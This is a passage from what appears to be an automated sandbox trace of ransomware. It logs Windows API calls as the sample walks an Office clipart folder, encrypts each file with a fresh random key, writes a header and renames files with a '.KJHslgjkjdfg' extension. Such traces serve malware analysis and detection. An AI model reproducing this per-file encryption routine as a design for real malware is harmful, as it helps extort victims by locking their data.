lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.775] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.775] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.775] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.776] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.776] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.776] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.776] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x342e, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x342e, lpOverlapped=0x0) returned 1 [0218.777] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3430, dwBufLen=0x3430 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3430) returned 1 [0218.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.778] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3430, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3430, lpOverlapped=0x0) returned 1 [0218.778] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.778] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.778] SetEndOfFile (hFile=0x130) returned 1 [0218.781] GetProcessHeap () returned 0x990000 [0218.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.781] GetProcessHeap () returned 0x990000 [0218.781] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.781] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.kjhslgjkjdfg")) returned 1 [0218.783] CloseHandle (hObject=0x130) returned 1 [0218.783] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1361, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VCTRN_01.MID", cAlternateFileName="")) returned 1 [0218.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.785] GetProcessHeap () returned 0x990000 [0218.785] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.785] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.785] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0218.788] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.788] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.788] GetProcessHeap () returned 0x990000 [0218.788] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.788] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.788] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.788] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.788] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.788] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.788] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.788] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.789] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.789] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.789] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.789] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.789] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1361, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1361, lpOverlapped=0x0) returned 1 [0218.790] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370, dwBufLen=0x1370 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1370) returned 1 [0218.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.790] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1370, lpOverlapped=0x0) returned 1 [0218.790] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.790] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1444, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.790] SetEndOfFile (hFile=0x130) returned 1 [0218.793] GetProcessHeap () returned 0x990000 [0218.793] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.793] GetProcessHeap () returned 0x990000 [0218.793] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.793] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.kjhslgjkjdfg")) returned 1 [0218.795] CloseHandle (hObject=0x130) returned 1 [0218.795] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ce1f900, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ce1f900, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x2e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01219_.GIF", cAlternateFileName="")) returned 1 [0218.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.797] GetProcessHeap () returned 0x990000 [0218.797] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.797] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.797] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.797] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0218.799] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.800] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.800] GetProcessHeap () returned 0x990000 [0218.800] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.800] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.800] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.800] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.800] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.800] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.800] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.800] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.800] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.800] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.800] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.801] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2e4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2e4, lpOverlapped=0x0) returned 1 [0218.801] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2f0, dwBufLen=0x2f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2f0) returned 1 [0218.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.801] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2f0, lpOverlapped=0x0) returned 1 [0218.801] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.801] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.801] SetEndOfFile (hFile=0x130) returned 1 [0218.804] GetProcessHeap () returned 0x990000 [0218.804] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.804] GetProcessHeap () returned 0x990000 [0218.804] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.804] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.kjhslgjkjdfg")) returned 1 [0218.805] CloseHandle (hObject=0x130) returned 1 [0218.805] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f000, ftCreationTime.dwHighDateTime=0x1bd4e6c, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f000, ftLastWriteTime.dwHighDateTime=0x1bd4e6c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01237_.GIF", cAlternateFileName="")) returned 1 [0218.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.807] GetProcessHeap () returned 0x990000 [0218.807] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.807] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.807] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x5, lpOverlapped=0x0) returned 1 [0218.809] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.809] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.809] GetProcessHeap () returned 0x990000 [0218.809] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.809] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.809] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.809] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.809] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.809] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.809] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.810] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.810] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.810] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.810] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16b, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16b, lpOverlapped=0x0) returned 1 [0218.810] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x170, dwBufLen=0x170 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x170) returned 1 [0218.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.810] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x170, lpOverlapped=0x0) returned 1 [0218.810] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.810] SetEndOfFile (hFile=0x130) returned 1 [0218.813] GetProcessHeap () returned 0x990000 [0218.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.813] GetProcessHeap () returned 0x990000 [0218.813] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.813] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.kjhslgjkjdfg")) returned 1 [0218.816] CloseHandle (hObject=0x130) returned 1 [0218.816] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe368b800, ftCreationTime.dwHighDateTime=0x1bd4e6b, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe368b800, ftLastWriteTime.dwHighDateTime=0x1bd4e6b, nFileSizeHigh=0x0, nFileSizeLow=0x167, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB01238_.GIF", cAlternateFileName="")) returned 1 [0218.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.818] GetProcessHeap () returned 0x990000 [0218.818] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.818] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.818] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.818] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x9, lpOverlapped=0x0) returned 1 [0218.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.820] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.820] GetProcessHeap () returned 0x990000 [0218.820] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.820] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.820] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.820] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.820] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.820] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.820] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.820] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.821] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, 